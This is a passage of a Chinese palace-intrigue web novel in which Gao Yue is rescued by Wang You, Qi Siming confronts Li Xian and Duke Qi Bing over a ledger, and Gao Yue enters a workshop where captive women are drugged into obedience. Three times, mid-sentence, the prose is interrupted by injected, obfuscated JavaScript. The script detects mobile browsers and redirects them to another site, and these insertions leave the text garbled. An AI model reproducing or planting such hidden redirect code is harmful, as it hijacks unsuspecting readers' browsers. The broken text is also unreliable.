这游刃有余的模样,让高玥背后发凉。 究竟发生了什么,才能让一个人,竟在这么短的时间内,便已将这洞察人心之术运用的炉火纯青。 这是一个局。 从她踏入这个院子的那一刻起,她便已是局中人。 而眼前的女子也根本早已不是她记忆中的那个样子,她一直在顺水推舟,利用自己,演了这么一出大戏。 她倒是小瞧了高盼了。 高玥那双眼睛就这么直勾勾地看着高盼,眼神忽明忽暗,似是要将她全部看透。 高盼被这眼神盯着,心底无端升起一股难以言喻的烦躁之感。 本该现在站在上风的应该是自己,可面前这丫头毫不掩饰的审视与探究,看得她心里一阵发毛。 她潜意识里生出一股强烈的抗拒,不愿再与眼前这个奇怪的丫头继续掰扯下去。 高盼轻轻抬手,围着的护卫便立马上前。 “将她押进“银梳坊”。” 听到“银梳坊”三个字,一旁的锦儿倒吸了一口凉气,眼中闪过一丝飞快的恐惧。 然而,这恐惧只持续了一秒,她的脸上便绽开一个近乎残忍的笑容。 她凑到高玥耳边,幸灾乐祸地说道,“你不是很喜欢领公子的命令吗?现在好了,你可以领个够了。” 眼看着那几个护卫就要上前,将高玥按住。 就在这时,院外突然传来一阵急促的脚步声,一个下人急急忙忙地冲了进来,在高盼的耳边飞快地嘀咕起来。 护卫的动作停在了半空,场面一时陷入了诡异的寂静。 只见高盼脸上那志满意得的笑容,随着下人的话语,一点一点地冷了下来,眉头愈发的紧缩。 高盼压低了声音,语气中带有一丝不悦,“她真的自称是公子的人?” “千真万确。”那下人的脸色也不太好,低低回答道,“属下看她的表情,不像是撒谎。” 这简短的两句话,让高玥的心里却泛起了嘀咕。 “公子的人”不过是她情急之下扯出来的谎话,为的是拿到账本,可现在,竟又冒出了一个自称是李显的人? 一种不祥的预感涌上心头。 “今晚倒真是热闹。”高盼意味深长地说道,“公子前脚刚出事,这一个两个的,倒都找上门来,还都口口声声自称是他的人。” 高盼上下打量着高玥,厉声说道,“那我可倒要看看,你们究竟是不是一伙的!” 今夜,她必须要让这些不知天高地厚的丫头明白,谁才是这里真正的主人! “还愣着干嘛!”她怒斥护卫,“把她给我送去“银梳坊”!我倒要亲自瞧瞧,她的骨头是不是也同她的嘴一样硬!” 周围的护卫得令,齐齐向高玥逼近。 锦儿就站在高盼身后,眼中是藏不住的幸灾乐祸。 刚出龙潭,又入虎口。 这银梳坊,听着就不像是什么好名字,看锦儿那看戏的表情,她若是今日真的被带了进去,恐怕都不知道能不能看见第二天的太阳。 罢了,走一步算一步吧! 高玥闭上了眼睛,可等了半天,却都没有等来护卫的钳制。 她猛地睁开眼睛,只见几道黑影如同鬼魅一般,无声无息地从黑暗中闪现出来。 为首的那人,面容冷峻,一双眼睛里没有任何情绪,她再熟悉不过了。 是王友! 他怎么会在这里? 高盼也被这突如其来的变故惊得退后了一步,锦儿更是脸色惨白,死死地抓住了高盼的衣袖。 “你们是什么人?!”高盼强自镇定,厉声喝道,“好大的胆子!知不知道这里是什么地方?” 王友连看都懒得看她一眼,自始至终,他的目光,都死死地锁在高玥身上。 来之前王爷就提示过他,玥贵妃可能用的不是自己的真容,叮嘱他小心甄别。 如今那个被制住的女人虽然容貌已经变幻,但是那从骨子里散发的气质,却是无论如何都掩盖不了的。 虽不知她是如何做到的,但他可以肯定,这就是玥贵妃! 想到这里,王友有些无语。 这些人好大的胆子,他们知道自己绑的是什么人吗? 如果被自家王爷知道,玥贵妃如今被人以这种形式侮辱,指不定又要发什么疯呢。 他只做了一个动作。 抬手,下挥。 身后的黑衣人动了。 与其说是打斗,更不如说是一场单方面的屠杀。 高盼的护卫们也算是身手矫健,可在这些黑衣人面前,却如同待宰的羔羊。 他们甚至还没来得及看清对方的动作,便已身首异处。 干净,利落,狠辣。 不过是短短的功夫,方才还气势汹汹的护卫,此刻已尽数倒在血泊中。 空气中弥漫着浓重的血腥味。 高盼早已血色尽失,只剩下哆哆嗦嗦地喊着“来人呐”! 锦儿更是早已吓瘫在地,面如死灰,甚至连哭都忘记了。 王友自始至终都未曾移动分毫。 他只是静静地站在那里,看着手下将所有的威胁清除。 直到最后一个护卫倒下,他才迈开脚步,径直走向高玥。 高玥也被这场面吓傻了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432421|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 面对这突如其来的场面,她强迫自己冷静下来。 这短短的两天,她却只觉得好似过了二十年一般,她需要好好地消化一下现在的情况。 她心里明白,这是齐思铭的手笔。 也只有他,总是在她意想不到的时候,以一种她无法抗拒的方式,强势地介入她的生活。 王友在高玥面前站定,只说了两个字,“王爷。” 没有多余的解释,也无需多余的解释。 “跟我走。” 高玥没有反抗,即便那是齐思铭的人。 她知道,此刻跟着他离开,才是她唯一的选择。 “站住!”高盼终于从极度的惊恐中找回了一丝理智,“你们不能带走她!她是……她是府里的丫鬟!” 王友的脚步顿了一下。 他缓缓回头,只是轻轻地瞥了一眼高盼,这眼神,瞬间让高盼乖乖闭嘴。 没有片刻停留,王友拉着高玥向院外走去。 高玥被他拉着,脚步因受到惊吓而有些踉跄。 在即将踏出院门的那一刻,她竟鬼使神差地回了一下头。 也正是这个回头,让她的血液瞬间凝固。 远处,另一队人马正押着一个女人走进来。 那个女人头发散乱,嘴角还有一丝血迹,显然是经过了一番挣扎。 可即便是如此狼狈不堪,高玥还是一眼就认出了她。 不是青莲,还能是谁?! 突然,“银梳坊”这三个字毫无预兆地出现在她的脑海中。 今晚发生的一切,信息量太大。 高盼的性情大变,莫名其妙的李显夫人身份,还有那本诡异的账本…… 第六感告诉她,这李府,远不像是看上去的那么简单。 而就在这时,系统那冰冷的声音再次不合时宜地响起。 【检测到关键人物“青莲”与关键场景“银梳坊”,触发隐藏支线任务。】 【任务内容:重返李府,查明“银梳坊”的真相,并解救青莲。】 【任务奖励:解锁人物“高盼”人物小传,积分+5000,获得特殊道具“傀儡丝”及奖励若干。】 【是否接受任务?】 高玥的心跳漏了一拍。 她看了一眼身旁面无表情的王友,又看了一眼身后的尸山血海。 就算是闭着眼,她也知道怎么选。 跟着王友走,是生。 回去,就是死。 但是这也印证了她的一个猜想,那个“银梳坊”,一定是解开这一切秘密的关键。 高玥深吸了一口气,然后,猛地甩开王友。 王友的动作一顿,回过头,不解地看向高玥。 “我要回去。”高玥的声音不大,却字字清晰。 果不其然,她在王友的脸上看到了“你疯了”三个大字。 “王爷的命令,是带您回去。”王友的回答言简意赅。 高玥语速极快,她觉得自己的脑子从来没有在这一刻这么清醒过,“你没看到吗?刚刚那个女孩,还有我妹妹高盼,现在都在里面,她们都有危险!” “王爷只交代我保护您!”王友显然对高玥的这番话置若罔闻。 高玥一时间有些着急,语速快得飞起。 “我知道,可是这栋宅子里藏着秘密,今晚我若是走了,就再也没有机会探查清楚。” 她看着王友依然没有改变决定的神情,继续尝试说服,“实不相瞒,我已经找到了你们王爷想要的账本的线索。” 果然,听到账本两个字,王友的表情有了一丝松动,但很快又恢复了镇定。 “我若放你回去,王爷会杀了我。”他直直地看向高玥,认真地说道,“我不开玩笑。” 高玥叹了口气,无奈地说道,“那你现在带一个“任务失败”的我回去,和带着一个手握账本的我回去,你觉得你家王爷,会更想要哪一个?” 王友的眉头紧锁,显然陷入了挣扎。 高玥见状,趁热打铁,语气中带有着一丝她模仿齐思铭说话时候特有的蛊惑,“或者,你也可以强行把我带走,然后我就告诉齐思铭,是你,王友。因为胆小怕事,坏了他的大计,你觉得,他会怎么想?” 王友的脸色彻底变了。 这个该死的女人,彻底抓住了他的命门。 过了好一会,王友放弃了挣扎,有些无奈地说道,“那我应该怎么做?” 37. 官道惊变杀意起 夜色浓稠,无星无月。 连接京城与山城的官道上,一辆马车在夜色中疾驰,扬起阵阵黄土。 就在此时,尖锐的声音陡然响起,紧接着数支羽箭从旁边的密林中划破天际,在黑暗中暴射而出。 羽箭的方向并非是车厢,而是稳稳地定在马车前数寸之地。 “吁——!” 驭车的马夫被这突如其来的状况吓了一跳,猛地勒紧了缰绳,马车死死地停在官道中央。 不等马夫反应过来,数道黑影已悄无声息地出现在马车周围。 紧接着,一道冰冷的触感抵在马夫的脖颈处。 “滚。” 马夫浑身一颤,连大气都不敢出,哪里还敢有半分犹豫,立马连滚带爬地跳下马车,一头扎进夜色中,瞬间便没了踪影。 车帘被猛地掀开,数名佩刀护卫冲出车厢。 这些护卫也算是训练有素,可在齐思铭的影卫面前,却连一句完整的话都来不及说完。 还未等他们将嘴边“保护”两个字说出口,那领头护卫的声音便戛然而止。 几乎是在同一时刻,只刀光一闪,那些精锐甚至连死前的闷哼声都未曾发出,便尽数化作冰冷的尸体,软软地倒在地上。 李显被两个影卫狠狠地从车厢内拖出来,重重地摔在地上。 此刻的李显,已经吓得连一句完整地话都说不出,“你们……你们是什么人?要钱?我给你们钱!我有很多钱!” “李公子,好久不见。” 月光下,齐思铭一身白色锦袍,从黑夜深处缓缓踱出。 他手中的那支暗红色玉笛,有一下没一下地敲打着掌心,步履从容,仿佛像是在自家后院散步一般。 锦靴的边缘蹭过一具具冰冷地尸体,他却连眉头都未曾皱一下,含笑的桃花眼看向面前瑟瑟发抖的李显。 他站定在李显面前,居高临下地看着他,脸上依旧挂着那副温文尔雅的笑容。 “李公子,我们又见面了。”他低低重复了一遍这句话。 月光勾勒出男子温润如玉的轮廓,他脸上分明挂着笑意,可这笑意却让李显感觉一股寒意涌上心头。 他努力在记忆中搜寻着这张脸,此刻却只觉得大脑一片空白。 他结结巴巴地说道,“我……我们什么时候见过吗?” 他的话音刚落,旁边立着的影卫不耐烦地白了他一眼,手中的长刀瞬间抵上李显的脖子,厉声喝道,“大胆李显,你竟然连贤王也认不得了吗!” “哎,怎么能这么对李公子说话。” 齐思铭轻声开口,瞥了一眼说话的影卫,语气里带着一丝责备。 可他虽是这么说,可那柄架在李显脖颈上的长刀,却没有移开半寸。 齐思铭缓缓蹲下身,与早已吓得瘫软的李显平行而视。 他伸出手,轻轻地拍了拍李显的脸,那动作仿佛是在安抚一只受惊的小猫。 “李公子是本王即将请回去的贵客,莫要吓着他了。”他嘴上这么说着,眼中此刻却半点笑意也无,“李公子,现在想起我是谁了吗?” “贤王”二字在李显的脑海中炸开,眼前的这张温润的笑脸,终于与记忆中那个手段狠厉的东厂提督重合。 他的瞳孔猛然一缩,脸上的血色瞬间褪得一干二净。 “贤……贤王殿下?” 齐思铭嘴角的笑意更深了。 京中谁人不知,宁可得罪太子,也千万别惹上这位阎罗王。 落到旁人手里,或许还有一线生机,可一旦被这贤王盯上,那便是求生不得,求死无门。 那些关于东厂的血腥传闻,那些被他亲手送进诏狱的官员的凄惨下场,一幕幕在李显脑中闪过。 他的声音已经抖得不成样子,“贤王殿下,您这是做什么?我若是有得罪之处,还请王爷明示……” “明示?”齐思铭直起身,用笛子点了点李显的心口,“本王要的东西,皇后没告诉你么?” 他凑到李显的耳边,用只有两个人才能听到的声音,轻声低语。 “通源钱庄的账本。本王给你一刻钟的时间,说出它的下落。” 齐思铭嘴角的笑意加深了几分,“否则,今夜这条官道上,只会多出一具无名尸体。” 李显浑身一僵,哆哆嗦嗦地说道,“你……你想怎么样!我爹可是户部尚书,如果我死了,你就不怕他找你拼命!” “户部尚书?”齐思铭重复了这句话,眼底闪过一丝轻蔑,然后低低地笑出了声。 “李公子,你莫不是觉得,本王会在意一个小小的户部尚书?” 他顿了顿,慢条斯理地整理了一下自己的袖口,仿佛接下来要说的事情,不过是一件微不足道的小事。 “那账本里的东西,你再清楚不过了,想必你那个好爹,也有份吧。你觉得,如果是陛下知道了那账本里的东西,会保你的主子,还是保你?” 李显的脸色,已经难看到极点。 他本以为,齐思铭今夜设伏,不过是为了皇后私下许诺自己的那些好处,想要分一杯羹,亦或是以此为要挟,想从中获利。 可他万万没想到,齐思铭的目标,从一开始就是那本见不得光的账本! “我……我不知道……我真的不知道什么账本……” “一。” 齐思铭开始缓缓倒计时。 那个账本记录着皇后多年以来贪墨的证据,如果真的被齐思铭拿到,后果可就不仅仅是自己人头落地的事了…… 李显头皮发麻,疯狂求饶。 “王爷饶命!我爹才是主事的!王爷口中账本的事情我根本就不清楚啊!” “二。” 那决定生死的“三”已经呼之欲出,李显已经彻底放弃了挣扎,面如死灰地闭上了眼睛。 就在这时,远处传来一阵骤然响起的马蹄声。 大地开始微微震颤,官道两旁的林中惊起一片飞鸟。 齐思铭微微蹙眉,缓缓侧过头,望向声音传来的方向,深不见底的眸子中,闪过一丝冷厉与不悦。 他身旁的影卫几乎是在马蹄声响起的瞬间,便齐刷调转方向,刀锋一致对外,将齐思铭牢牢护在身后。 齐思铭微微眯起眼,望向声音传来的方向。 烟尘弥漫中,一面绣着“齐”字的大旗在黑夜中簌簌作响,带着一股金戈铁马的肃杀之气。 紧接着,一排排身着黑色铁甲的骑兵出现在众人的视线中。 为首一人,身披玄甲,面容沉肃,不怒自威。 他只是静静地坐在马背上,那股久经沙场的肃气便扑面而来,让人不敢直视。 此人正是当朝献国公,齐炳。 而瘫软在地的李显,像是溺水之人抓住浮木一般,猛地睁开双眼,惨白的脸上终于浮现出一丝狂喜。 齐炳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444700|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光扫过一地的尸体,最后看向远处的那抹白色。 “本王听闻官道上有人在截道,没想到这个人竟然是贤王。” 齐炳勒住缰绳,声音雄浑。 “只是不知,贤王这是在做什么?” 齐思铭的嘴角笑意未减,反而多了一丝玩味。 他悠悠说道,“献国公深夜率兵至此,真是好大的阵仗。” “至于本王在做什么……”他意味深长地看了一眼地上的李显,“自然是替陛下,清理一些朝中的蛀虫。” 话音落下,他再次看向齐炳,没有丝毫被撞破的慌乱,反而反客为主,语气中带了一丝居高临下的审视。 “这位李公子,似乎是知道一些不该知道的东西,本王正好想请他回去,好好聊聊。” 他顿了顿,继续说道,“倒是献国公,这般兴师动众,莫非,也是想请李公子去府上喝杯茶?” 两人的目光在空气中交汇,仿佛无形的刀剑在激烈碰撞。 官道上,剑拔弩张,一触即发。 浓烈的杀气在两方人马之间碰撞。 齐思铭的影卫们已做好死战的准备。 而齐炳身后的骑兵们,亦已经举起手中的长枪,齐齐地对准了齐思铭一行人。 只要一声令下,这里便会化作一片尸山血海。 李显被这紧张的气氛压得几乎喘不过气来。 他终于意识到,自己卷入了一场何等恐怖的对局。 这两位,无论是东厂提督齐思铭,还是献国公齐炳,都是能轻易决定他生死的人物。 他像一只被两头猛虎盯上的兔子,动弹不得。只能死死地低下头,拼命降低自己的存在感。 齐思铭就这么闲散地站着,面对数百铁骑的威压,他脸上的表情没有丝毫变化,仿佛对面只是小孩子的打闹。 他甚至还有闲心把玩着手里的笛子,轻声说道,“国公大人若真想请李公子喝茶,也该讲个先来后到。人,是我先截下的。国公大人想从我手里抢人,总得给我个说得过去的理由吧?” 齐炳没有说话,只是沉默地看着眼前的人,眼中情绪翻涌。 浓烈的杀意几乎要碾碎一切,但他却迟迟没有下达那个命令。 良久。 齐炳突然爆发出一阵大笑。 “哈哈哈哈!好!说得好!” 这突兀的笑声瞬间打破了剑拔弩张的气氛,他身后的骑兵露出了愕然的神色。 而瘫倒在地的李显,更是猛地抬起头,脸上露出了茫然的呆滞。 齐炳翻身下马,大步走向齐思铭,重重拍了拍他的肩膀。 “这么多年,你的胆色,未减半分。”齐炳的眼中带着欣赏,“多年未见,我本来还担心,京城的富贵安逸,已经磨平了你的爪牙。” 齐思铭眉梢轻挑,脸上终于露出了一丝笑意。 “国公大人说笑了。京城再好,也不及北疆的风雪磨练心性。” 两句没头没脑的对话,却让一旁的李显听得心头一跳。 他们认识? 齐炳瞥了一眼已经彻底呆住的李显,声音恢复了之前的沉肃。 “皇后那边的钱袋子,捏在手里,比杀了他有用得多。” 他向前一步,用只有两人能听到的声音说道:“今天我来,不为别的,只不过是想看看你。” “还是不是当年那个敢在死人堆里跟我谈条件的少年。” 38. 以身做饵赴死局 齐思铭的眼中闪过一丝寒光,但只那一瞬,随即又恢复了惯常的温润。 也就只有那么一瞬。 快得让任何人,包括齐炳在内,都无法捕捉。 献国公短短几句话,在齐思铭的脑海中瞬间迅速构成完美闭环。 原来如此。 这李显恐怕并非仅仅是皇后的一条狗,更是齐炳安插在皇后身边的一颗棋子。 这皇后所谓的钱袋子,恐怕早已被齐炳掏空了内里。 而这皇后,被卖了却还在傻傻的帮旁人数钱。 齐思铭不动声色地退后半步,与齐炳拉开些许距离。 “献国公说笑了。”他缓缓将那支红笛收回袖中,双手拢于身前,“少年意气,何足挂齿。” “倒是国公爷,多年未见,雄风不减当年。” 瘫在地上的李显,脑子已经彻底乱成了一锅粥。 他颤颤巍巍地看向献国公,“国公爷……齐王爷他……” 齐炳哈哈大笑,“当年北疆大战,我奉命死守孤城,粮草断绝,内无粮草,外无援兵,情况何其危机。” “就在全军将要崩溃之际,一个少年,独自一人,带着他母亲的遗物,出现在我的大帐里。他说,他能为我弄来粮食,条件是,让我护他周全。” 李显难以置信地看向齐思铭。 朝中谁人不知,这齐思铭不过是个前朝余孽,仗着先帝母妃的那点情分,才被当今圣上留下一条性命。 国破家亡,血海深仇。 但凡换一个人,都得要疯上个三天。 可眼前这位齐王爷,竟然能面不改色地走进敌军主帅大帐,用换取粮草的一线生机,去跟敌人谈条件? 这人……当真是冷血到了骨子里。 他只觉得一股寒气从脚跟爬上了心头。 看着齐思铭那张笑脸,他这才知道,自己招惹上了一头怎样的野兽。 李显无意识地说道,“齐王爷当真沉着之至,李某佩服。” 齐炳的话,既是说给李显听,也是在提醒齐思铭,他们之间,有过命的交情。 齐炳看出了齐思铭的心思,拍了拍他,“沉着之至?本公倒觉得,你小子的心,是铁打的。” “你如今既已是东厂提督,便更应当知晓,有些人,活着比死了用处更大。” “有的时候,不要太过于意气用事。” 齐炳这番话,意味已经很明显,李显,他是保定了,如果此时再提账本,那无异于在打献国公的脸。 日后他若再想行事,便只会难上加难。 齐思铭脸色微变,随即露出一副受教的神情,“国公爷教训的是。” 齐炳的声音低了下来,“有的时候,一刀杀了,固然痛快,可这,未必是陛下想要看到的。” “莫非,你觉得你比陛下更清醒?” “陛下自然是圣明的。”齐思铭回答。“只是本王今夜兴师动众出京,总不能空着手回去,若是就此作罢,恐怕也不好交代……” 他没有把话说完,但意思再明显不过。 我不拿你的人,但你总不能让我白跑一趟。 齐炳看着他,忽然又笑了。 “你这小字,还是跟当年一样,半点亏都不肯吃。”他骂了一句,语气中却并无怒意。 “我知你想要什么东西。”他侧过头,唤来一位士兵,低语了几句。 片刻之后,那士兵取来一个裹得严严实实的长条状物件,递到齐炳手中。 李显看到那物件大惊,连忙说道,“献国公,这可是……” 齐炳看了一眼李显,示意他闭嘴。 他掂了掂手里的东西,放在齐思铭手中,“我知你与她早已不对付多年,也知晓当年之事与她必少不了干系。” “但是……万事不可操之过急。” “这是皇后前段时间通过通源钱庄,送往河北赈灾银中的账目。她从中抽掉了五十万两,填了她娘家的兄弟亏空的窟窿。”齐炳声音平淡,仿佛在说一件无关紧要的事情,“账目虽说是做的天衣无缝,但真的假不了,假的真不了。” “这点东西,够不够你回去向陛下交差?” 齐思铭稳稳接住那个账本,并未打开查看。 五十万两。 这东西一旦呈到御前,即便不能立刻扳倒皇后,也足以让她伤筋动骨。 “国公爷慷慨。”齐思铭将东西收入袖中,“那本王今夜,便算不虚此行了。” 他看了一眼地上还处于呆滞状态的李显,意有所指地说道,“只是这位李公子,国公爷还需看紧些。他知道的,似乎比国公爷想象的还多……” 齐炳的神色变了变。 齐思铭却仿佛没有看到他的反应,继续笑道,“思铭还有公务在身,便不打扰国公爷了。改日得了空,定当亲自登门拜访,与国公爷好好叙旧。” 说完,他便不再停留,没多久便消失在黑夜之中。 官道上,只剩下齐炳和他的铁骑,以及那个早已被吓傻的李显。 一位副将上前,低声说道,“国公爷,就这么放他走了?此人野心勃勃,绝非池中之物,今日放他回去,他日恐成心头大患。” 齐炳看着齐思铭消失的方向,目光深邃。 良久,他才幽幽说道,“心头大患?这朝堂,若都是些只知磕头的蠢货,那才叫无趣。” 他看了一眼地上的李显,翻身上马,“人都走了,还瘫着作甚?” “把他带回去,问一问他,这账本之事,怎么就被那阎王知道了。” 说罢,他猛地一拉缰绳,调转方向。 “我们走!” …… 齐思铭一身白衣,骑在马上,那张俊美的脸上,此刻没有一丝波澜。 一道影子无声无息地出现在他的身后。 齐思铭没有回头,声音平淡地听不出什么情绪,“不是让你守在李府?” 他顿了顿,“人呢?” 王友:“属下失职。玥……她被人带走了。” 齐思铭握着缰绳的手猛地一顿,回头看向头已经低的不能再低的王友。 王友只得将两个时辰前在李府发生的事情一五一十地禀报。 …… 两个时辰前,李府。 “我要出去。”高玥开口。 王友垂眼,“王爷有令,一定要将您带回去” “如果我说不呢?”高玥走上前,盯着王友,“你待如何?一刀杀了我,回去跟齐思铭复命?” 王友不为所动,只是重复道,“属下不敢,请娘娘不要为难属下。” “为难?”高玥轻笑,阴阳怪气地说道,“王友,你跟在齐思铭身边,究竟是他的一条狗,还是一个人?” “他让你咬谁,你就咬谁,让你看门,你就绝不挪动半步,他可曾将你当人看?” 王友猛地抬头,眼中闪过一丝波动,虽然转瞬即逝,但还是被高玥敏锐地捕捉到了。 就是现在! “对不住了王友。”高玥将一封信塞进王友的怀里。“交给齐思铭。” 她没有给王友任何反应的时间,瞅准时机,立马向着院墙的另一边飞奔而去。 王友立马反应过来,他以为高玥要强行越墙,疾步追去,想要将她拦下。 但殊不知,高玥根本没有想过要翻过那堵高墙,她的目标是旁边那个摆着巨大青花瓷瓶的桌子。 王友果然上当。 就在两人交错的瞬间,高玥用尽全力撞向那只青花瓷瓶。 院中响起巨大的碎裂声。 王友的动作停了一瞬,他回头看向那满地的花瓶碎片,再看向高玥。 高玥就趁着这短暂的空隙,迅速闪进了通往后院的门。 她知道,李府的人听到这动静,一定会过来查看。 果然,她刚闪进院门,几个家丁便瞬间将她团团围住。 为首的一人看清是何人,眼中先是闪过一丝讶异,随即冷笑。 “原来是你这丫鬟,你的同伙呢?” “就是她,还有她的同伙,刚刚袭击了兄弟们!”周围有几个人看清了高玥的脸,立马告状。 “我刚刚好像听到她跟她那个同伙在吵架,想必是闹掰落单了……” 高玥佯装惊慌,脚步后退,“你们是什么人?想干什么?!” 为首的人挥了挥手,他身后的人立刻上前,一左一右地架住高玥的手臂。 他冷冷道,“小姐正在气头上,你倒是会自投罗网,她见了你,想必一定会很高兴。” 不等高玥反应,她已经被家丁押至一处偏僻的角落。 高盼正坐在院中的石凳上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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有的人下意识地倒吸了一口凉气,看向高玥的眼神充满了不可思议,仿佛在看一个疯子。 “你说什么?”高盼以为自己听错了。 在这李府,还是第一次有人主动说要去“银梳坊”。 高玥对上高盼难以置信的目光,一字一顿地说道,“我说,送我去银梳坊,见青莲。” …… 官道上,风吹起的瞬间,扬起一丝尘土。 王友一五一十地禀报完李府的动向,犹豫了一下,还是从怀中取出一封信,双手奉上。 “这是……贵妃娘娘让属下转交给王爷的。” 周遭一片死寂。 齐思铭接过那封信,信封上没有署名。 他拆开信封,抽出里面的信纸。 纸上只有寥寥数行字,字迹娟秀,却带着一股力透纸背的决绝。 齐思铭的目光从第一个字开始,缓缓往下移动。 自从交出了那封信,王友便一直小心翼翼地观察着自家主子的表情。 果不其然,当他看清了信中所写的内容时,他那为数不多的温润,倏然敛尽。 那双深不见底的黑眸中,先是涌起惊涛骇浪,随即又被更为恐怖的寒潭所取代。 王友感觉到了一股骇人的戾气,不禁打了个哆嗦。 他虽不知那信上的内容,但看自家主子的神情,也不难猜出,那信中所写,必然是已经死死地掐住了王爷的命门。 齐思铭捏着信纸的手指微微收紧,像是极力在克制着某种情绪。 “这个疯女人!” 王友甚至不敢大声呼吸,只能将头垂得更低,眼角的余光却始终不敢离开自家主子那只紧攥着信纸的手。 他眼睁睁看着那张上好的宣纸,在主子寸寸收紧的力道下,被捏成一团褶皱。 良久,就在王友以为自己要溺死在这窒息的沉默中时,齐思铭忽然极轻地笑了一声。 他松开手,重新一点一点地将那团被揉皱的信纸整理好,仔细收进怀里。 他抬起眼,目光投向山城的方向,声音平静得没有一丝波澜。 “看来,咱们要找个时间,去拜访一下献国公了。” 39. 傀儡囚笼寻真相 王友勒紧了缰绳,让自己的距离与前面那位一言不发的主子隔开一些距离。 他极少见过这样的齐思铭。 平日里,无论是面对朝堂上的尔虞我诈,还是东厂内的血腥审讯,他总是一副运筹帷幄的模样,仿佛世间万物都在他的算计之内。 可现在的齐思铭,那股从骨子里透出来的杀气,让王友不由得感到一阵脊背发凉。 他不知道信里写了什么,但他知道,信上一定写了什么东西,触动了这位的逆鳞。 …… 而另一边。 高玥被两个家丁推进了一座院子。 这里就是“银梳坊”了。 名字倒是雅致,但高玥踏进院门的瞬间,变察觉到了一丝不同寻常。 空气中混杂着脂粉的甜腻,药渣的苦涩还有一股若有若无的腐朽气息,让她不禁蹙了蹙眉头。 院内灯火通明。 数十名女子身着素色长裙,排排坐在长凳上,院内鸦雀无声。 而她们正在做的事情,让高玥突然间毛骨悚然。 不知道哪里发出了一声拍手,那十几名女子好似接收到了什么指令一般,突然间齐齐举起银梳,梳子划过长发,在这寂静中发出诡异的“沙沙”声响。 她们脂粉下的面容看不真切,只剩下一双双空洞麻木的眼睛。 高玥的心底窜起一股寒意。 她不动声色地观察着四周,发现这些女子在机械地重复动作时,都会下意识地避开院子角落里那棵歪脖子树的方向,仿佛那里有什么看不见的瘟疫。 不会是吊死过人吧…… 高玥默默地想。 就在高玥心底发毛的时候,一个约莫四十岁上下的嬷嬷朝她走了过来。 那嬷嬷面容精瘦,一双精明的眼睛将高玥上上下下打量了一番。 “又来了一个有福气的姑娘。”她笑盈盈地开口,声音不大,却透着一股阴森森的冷酷,“这世道的苦,姑娘想必是吃够了。来了我们银梳坊,便是来到了福地。往后在这里,不必再为生计烦忧,只需静心学好规矩,自然有享不尽的荣华富贵。” “如果学不好……”嬷嬷瞥了一眼身后的人,冷冷说道,“只可惜,总有些姑娘身在福中不知福,放着阳关大道不走,偏要自寻苦吃。” 院子中央,一位女子正被绑在椅子上,头发散乱,早已几近昏厥。 高玥眼睛睁大,那女子,不是别人,正是她要找的青莲! 高玥有些着急,怒声问道,“你们把她怎么了!” “嘘。”嬷嬷将一根食指放在唇边,笑容更深了,“姑娘,在这里,要学会说的第一句规矩话,就是“谢嬷嬷教诲”。 你看,”她指向角落里一个个面无表情的女子,“那些孩子刚来时也像你一样,脾气烈。如今不是很好么?无忧无虑,多有福气。” “至于她。”嬷嬷不屑道,“这丫头不懂事,心有杂念,该罚。” 她拍了拍手,两个健壮的婆子端着一碗黑漆漆的汤药走了过来。 “你看好了,这是净心汤,”嬷嬷特意说给高玥听,“一碗下去,什么烦恼、愁苦,还有不该有的念想,就都干干净净了。心净化了,人也就安分了,这才是姑娘家该有的福气。” 嬷嬷的声音不大,却正好不偏不倚地落在院中每个人的耳中。 角落里,一个个容貌姣好的女子正呆呆地坐着,毫无任何反抗之意。 旁边一个正在刺绣的女孩听到净心汤三个字,手猛地一抖,针尖深深扎进了指腹,明明疼出了眼泪,却愣是硬生生地憋了回去。 “记好了,来到这里,就给我乖乖的。” 嬷嬷又拍了拍手,旁边的婆子立刻会意,其中一人捏住青莲的下巴,强行要将那碗药灌进去。 青莲虚弱地挣扎着,喉咙里发出呜咽的声响,却只能绝望地摇着头。 怒火与深深地无力感在心中汹涌。 她的指甲深深陷入掌心,一股冲动促使她想要立马冲上去,撕烂这些人伪善的嘴脸。 可理智却死死地摁住了她。 她不能,至少现在不能。 她看明白了,这里根本不是囚牢,却比囚牢更加可怕。 她们用药物,用规矩,将一个个活生生的人,变成没有思想的傀儡。 她想起高盼的那双眼睛,难道她也曾经在这里…… 如果是这样,那她的举动…… 高玥突然可以理解一些高盼的行为了。 那些被深度洗脑过的人,即便是被救出来,多多少少也会受到影响。 身体的囚笼被打破了,可精神的枷锁却会伴随一生。 那是一种更可怕的禁锢,是用恐惧和服从在心里建起的一座无形牢笼。 一旦成功,便是一件趁手又听话的工具。 怪不得短短的时间内,高盼的性格会有如此天翻地覆的改变,甚至心甘情愿地沦为那李显的刀。 她不能让这样的悲剧重现,至少,先救下青莲。 高玥不动声色地环视四周,大脑飞速运转。 那些家丁和婆子一看就是经过训练,没有了王友的帮助,自己根本不是她们的对手。 就在那碗药即将触碰到青莲嘴唇的瞬间,高玥突然发出一声尖叫。 